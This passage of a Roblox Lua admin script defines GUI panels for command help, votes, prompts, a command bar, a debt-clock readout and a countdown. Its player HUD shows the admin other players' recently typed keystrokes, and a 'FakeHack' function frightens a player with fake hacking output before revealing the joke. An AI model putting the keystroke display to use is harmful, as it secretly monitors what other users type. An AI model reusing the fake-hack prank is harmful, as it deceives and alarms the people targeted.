4594 Closed.Event:connect(function()
4595 for Num,Data in pairs(Tasks) do
4596 if Data[1] == Form then
4597 Icon:Destroy()
4598 table.remove(Tasks, Num)
4599 end
4600 end
4601 ReloadIcons()
4602 end)
4603 end)
4604end
4605
4606function GUI:ShowDebtStats(Player, ManualText)
4607 local Text = ManualText
4608 if not ManualText then
4609 Text = "CANNOT GET STATISTICS"
4610 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4611 if RawPage then
4612 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4613 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4614 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4615 end
4616 end
4617
4618 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4619 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4620
4621 return Text
4622end
4623
4624function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4625 if not Player then return nil end
4626 if not CommandTrigger then return nil end
4627
4628 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4629
4630 local CommandKey = CommandTrigger
4631
4632 if not Commands[CommandKey] then
4633 for CommandNames,_ in pairs(Commands) do
4634 for _,CommandName in pairs(CommandNames) do
4635 if CommandName == CommandKey then
4636 CommandKey = CommandNames
4637 end
4638 end
4639 end
4640 end
4641
4642 local CommandData = Commands[CommandKey]
4643
4644 local BodyText = "No valid command has been entered"
4645 local TitleText = "Error"
4646 local CanExe = false
4647 if CommandData then
4648 if Dialog then
4649 Dialog:Invoke(true)
4650 end
4651 local PlayerRank = RANK:GetRank(Player)
4652 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4653 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4654
4655 TitleText = "Command: "..CommandKey[1]
4656 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4657
4658
4659Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4660
4661
4662Description: ]]..CommandData[2]..[[
4663
4664
4665Arguments: ]]..CommandData[3]..[[
4666
4667
4668Minimum rank needed: ]]..CommandData[4]..[[
4669
4670
4671Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4672
4673
4674Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4675
4676
4677Http Command ]]..STRING:BoolString(CommandData.Http)
4678 end
4679
4680 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4681 if Dialog then
4682 Closed.Event:connect(function() Dialog:Invoke(false) end)
4683 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4684 end
4685end
4686
4687function GUI:CreateHUD(Speaker)
4688 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4689
4690 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4691 if SG then SG:Destroy() end
4692 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4693
4694 local function AddHUD(Player, Char)
4695 if not Char or not Char:FindFirstChild("Head") then return nil end
4696
4697 local Rank = RANK:GetRank(Player)
4698 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4699 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4700 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4701 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4702 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4703 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4704 InfoLabel.Text = "Name: "..Player.Name..[[
4705Rank: ]]..RANK:GetRank(Player)..[[
4706Age: ]]..STRING:FindAge(Player.AccountAge)
4707 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4708 InfoLabel.Text = InfoLabel.Text..[[
4709Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4710 end
4711 if LastKeys[Player.UserId] then
4712 local Keys = ""
4713 local KeyLog = {}
4714 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4715 table.insert(KeyLog, KeyData[1])
4716 if KeyData[2] == 8 then
4717 Keys = string.sub(Keys, 1, #Keys - 1)
4718 elseif KeyData[2] == 13 then
4719 Keys = Keys.." "
4720 else
4721 Keys = Keys..string.char(KeyData[2])
4722 end
4723 end
4724 KeyLabel.Text = table.concat(KeyLog, "\n")
4725 KeyOutput.Text = Keys
4726 end
4727 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4728 end end)()
4729
4730 local CharRev,Removing = nil,nil
4731 CharRev = Player.CharacterRemoving:connect(function()
4732 PlayerHUD:Destroy()
4733 CharRev:disconnect()
4734 Removing:disconnect()
4735 end)
4736 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4737 PlayerHUD:Destroy()
4738 CharRev:disconnect()
4739 Removing:disconnect()
4740 end end)
4741 end
4742
4743 local function ConnectHUD(Player)
4744 if Player ~= Speaker then
4745 if Player.Character then
4746 AddHUD(Player, Player.Character)
4747 end
4748
4749 Player.CharacterAdded:connect(function(Char)
4750 if Speaker then
4751 AddHUD(Player, Char)
4752 else return nil
4753 end
4754 end)
4755 end
4756 end
4757
4758 for _,Player in pairs(Server.Players:GetPlayers()) do
4759 ConnectHUD(Player)
4760 end
4761
4762 Server.Players.PlayerAdded:connect(ConnectHUD)
4763end
4764
4765function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4766 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4767 local Stopped = false
4768
4769 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4770 Frame.Size = UDim2.new(1, 0, 1, -30)
4771 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4772
4773 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4774 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4775 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4776
4777 local function AddLine(Speaker, MessageText, MessageColor)
4778 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4779 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4780 if not MessageColor then MessageColor = GUI:ContrastColor() end
4781 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4782 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4783 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4784 Bounds.Parent = Frame
4785 end
4786
4787 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4788
4789 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4790 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4791 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4792
4793 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4794 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4795
4796 CORE:ExecuteResource("MessagePromptHandler", Frame)
4797
4798 wait(0.1)
4799
4800 if PreAdd then
4801 for Num,Add in pairs(PreAdd) do
4802 AddLine(Add[1], Add[2], Add[3])
4803 end
4804 end
4805
4806 --[[
4807 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4808
4809 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4810 if ChatBox.Text == "Click here or press the '-' key" then
4811 ChatBox.Text = ""
4812 end
4813 end)
4814 ]]
4815
4816 local function FireSendPressed()
4817 local Text = CORE:ReadProperty(RPR, Player, "Text")
4818 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4819 SendPressed:Fire(Text)
4820 FakeCB.Visible = true
4821 ClearCB:InvokeClient(Player)
4822 end
4823 end
4824
4825 Closed.Event:connect(function()
4826 if Stopped == false then
4827 Stopped = true
4828 if SpeakerEvents then SpeakerEvents("Leave") end
4829 end
4830 end)
4831
4832 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4833 EnterPressed.OnServerInvoke = FireSendPressed
4834 AddMessage.OnInvoke = AddLine
4835
4836 if SpeakerEvents then
4837 SpeakerEvents("Join")
4838
4839 coroutine.wrap(function()
4840 repeat wait() until not Frame or not Frame.Parent
4841 if Stopped == false then
4842 Stopped = true
4843 SpeakerEvents("Leave")
4844 end
4845 end)()
4846 end
4847
4848 return SendPressed, AddMessage
4849end
4850
4851function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4852 if tonumber(Time) then ShowFormButtons = false end
4853 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4854 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4855 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4856 local Clicked = nil
4857 local Alive = true
4858
4859 local function ClosePrompt(ButtonName)
4860 Alive = false
4861 Close:Invoke()
4862 Clicked = ButtonName
4863 end
4864
4865 for Num,Select in pairs(Buttons) do
4866 local Name = Select
4867 local Style = "White"
4868 local TextColor3 = Color3.new(0,0,0)
4869 if type(Select) == "table" then
4870 Name = Select[1]
4871 if Select[2] then Style = Select[2] end
4872 if Select[3] then TextColor3 = Select[3] end
4873 elseif type(Select) == "string" then
4874 local Case = string.lower(Select)
4875 if Case == "ok" then
4876 Name = "Ok"
4877 Style = "Primary"
4878 TextColor3 = Color3.new(1,1,1)
4879 elseif Case == "yes" then
4880 Name = "Yes"
4881 Style = "Gray"
4882 TextColor3 = Color3.new(0,1,0)
4883 elseif Case == "no" then
4884 Name = "No"
4885 Style = "Red"
4886 TextColor3 = Color3.new(1,0,0)
4887 end
4888 end
4889
4890 if Style == "None" then Style = "Custom" end
4891 if Style == "Casual" then Style = "RobloxButton" end
4892 if Style == "Red" then Style = "RobloxButtonDefault" end
4893 if Style == "Gray" then Style = "RobloxRoundButton" end
4894 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4895 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4896
4897 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4898 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4899 SOUND:BindButton(Button)
4900 end
4901
4902 if tonumber(Time) then
4903 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4904 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4905 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4906
4907 for i = Time,0,-1 do
4908 for ii = 1,10 do
4909 if Alive == true then
4910 Ticker.Text = i
4911 wait(0.1)
4912 else
4913 break
4914 end
4915 end
4916 end
4917 if Alive == true then
4918 ClosePrompt()
4919 end
4920 end
4921
4922 repeat wait() until Alive == false
4923 return Clicked
4924end
4925
4926function GUI:Vote(Speaker, Players, Text, Time)
4927 if not Players or not Text or #Players <= 0 then return end
4928
4929 local Votes = {}
4930 local Tick = 0
4931
4932 for _,Player in pairs(Players) do
4933 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4934 local CanVote = true
4935 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4936 if CanVote == true then
4937 coroutine.wrap(function()
4938 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4939 if Answer == nil then Answer = "Unknown" end
4940 table.insert(Votes, Answer)
4941 end)()
4942 end
4943 end
4944 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4945 wait(2)
4946 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4947 local Total = #Players
4948 local Yes,No,Unknown = 0,0,0
4949 for _,Vote in pairs(Votes) do
4950 if Vote == "Yes" then Yes = Yes + 1
4951 elseif Vote == "No" then No = No + 1
4952 end
4953 end
4954 Unknown = #Players - #Votes
4955
4956 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4957 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4958 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4959]]..Yes.."/"..Total..[[
4960]]..math.ceil((Yes/Total)*100).."% "
4961 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4962]]..No.."/"..Total..[[
4963]]..math.ceil((No/Total)*100).."% "
4964 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4965]]..Unknown.."/"..Total..[[
4966]]..math.ceil((Unknown/Total)*100).."% "
4967 end
4968end
4969
4970--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4971
4972function GUI:LoadGui(Player, Text, InfoText)
4973 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4974 local Dead = false
4975
4976 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4977 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4978 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4979 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4980 if InfoText then Info.Text = InfoText end
4981
4982 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4983 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4984
4985 CloseGui.OnInvoke = function()
4986 Close:Invoke()
4987 Dead = true
4988 end
4989 AddInfo.OnInvoke = function(AddText)
4990 Info.Text = AddText
4991 end
4992
4993 coroutine.wrap(function()
4994 for i = 0,math.huge,3 do
4995 if Dead == false and Frame then
4996 WaitIcon.Rotation = i
4997 wait()
4998 else
4999 break
5000 end
5001 end
5002 end)()
5003
5004 coroutine.wrap(function()
5005 while Dead == false and Frame do
5006 wait(0.5)
5007 LoadLabel.Text = Text.."."
5008 wait(0.5)
5009 LoadLabel.Text = Text..".."
5010 wait(0.5)
5011 LoadLabel.Text = Text.."..."
5012 wait(0.5)
5013 LoadLabel.Text = Text..".."
5014 wait(0.5)
5015 LoadLabel.Text = Text.."."
5016 wait(0.5)
5017 LoadLabel.Text = Text
5018 end
5019 end)()
5020
5021 wait(1)
5022
5023 return CloseGui, AddInfo
5024end
5025
5026function GUI:FakeHack(Player) coroutine.wrap(function()
5027 if not Player or not Player:FindFirstChild("PlayerGui") then return end
5028 local FakeText = [[
5029>SHELL: BEGIN
5030>RUNCODE:
5031return {
5032 local Hack = {"Account", "Tix", "Robux"};
5033 function Start(Type, Inject, Scan)
5034 if not Inject then Inject = "In-Game" end
5035 return {Type, Inject, Scan}
5036 end
5037 for Exe,Exploit in pairs(Hack) do
5038 local IP = Start("In-Game",Exploit,
5039 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
5040 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
5041 )
5042 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
5043 for i = 1,#Injection[2] do
5044 Log("PlayerData", "ConnectHost", "PLAYERNAME")
5045 end
5046 local PlayerProxy = newproxy(true)
5047 setmetatable(PlayerProxy,Injection[3],{
5048 __index = function(StealData, ...) local Data = unpack(...)
5049 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5050 end;
5051 })
5052 end
5053 Log("HACKED HOST: PLAYERNAME")
5054}
5055>HACKED HOST: PLAYERNAME
5056
5057]]
5058 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5059 if SG then SG:Destroy() end
5060 SG = Instance.new("ScreenGui", Player.PlayerGui)
5061 SG.Name = "MML Hack Gui"
5062 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5063 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5064 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5065 for i = 1,#FakeText do
5066 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5067 if math.random(1,5) == 1 then
5068 wait()
5069 end
5070 end
5071 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5072 wait(3)
5073 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5074fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5075 X.Visible = true
5076end)() end
5077
5078function GUI:CommandBar(Player)
5079 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5080
5081 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5082 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5083 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5084 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5085
5086 local _,Rank = RANK:GetRank(Player)
5087 local UsableCommands = {}
5088 for CommandNames,Data in pairs(Commands) do
5089 if not Data.Hidden then
5090 if RANK:ConvertRank(Data[4]) <= Rank then
5091 for _,Command in pairs(CommandNames) do
5092 table.insert(UsableCommands, {Command, Data[3]})
5093 end
5094 end
5095 end
5096 end
5097
5098 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5099
5100 local function ExecuteText()
5101 local Text = CORE:ReadProperty(RPR, Player, "Text")
5102 CORE:Chatted(Text, Player, true)
5103 CommandBox.Text = "Enter a command here"
5104 end
5105
5106 local function AddSuggestion(Text)
5107 if Text == nil then Text = Settings.Prefix end
5108 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5109 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5110 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5111 if Text == Settings.Prefix then
5112 CommandBox.Text = Settings.Prefix
5113 else
5114 CommandBox.Text = Settings.Prefix..Text
5115 end
5116 CORE:ExecuteResource("Focus", CommandBox)
5117 end, true)
5118 end
5119
5120 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5121 if CommandBox.Text == "Enter a command here" then
5122 CommandBox.Text = ""
5123 end
5124 end)
5125
5126 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5127 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5128
5129 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5130 EnterPressed.OnServerInvoke = ExecuteText
5131
5132 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5133 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5134 Suggest:ClearAllChildren()
5135 local Text = CORE:ReadProperty(RPR, Player, "Text")
5136 if Text == "" then
5137 AddSuggestion(Settings.Prefix)
5138 end
5139
5140 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5141 Text = string.sub(Text,#Settings.Prefix+1)
5142 end
5143 for _,Data in pairs(UsableCommands) do
5144 local Command,Args = Data[1],Data[2]
5145 if string.find(string.lower(Command),string.lower(Text)) then
5146 local NewSuggestion = Command
5147 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5148 AddSuggestion(NewSuggestion)
5149 end
5150 end
5151
5152 end end)
5153end
5154
5155function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5156 if not Player or not AllSeconds then return nil end
5157 AllSeconds = tonumber(AllSeconds)
5158 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5159 AllSeconds = math.floor(AllSeconds)
5160 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5161 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
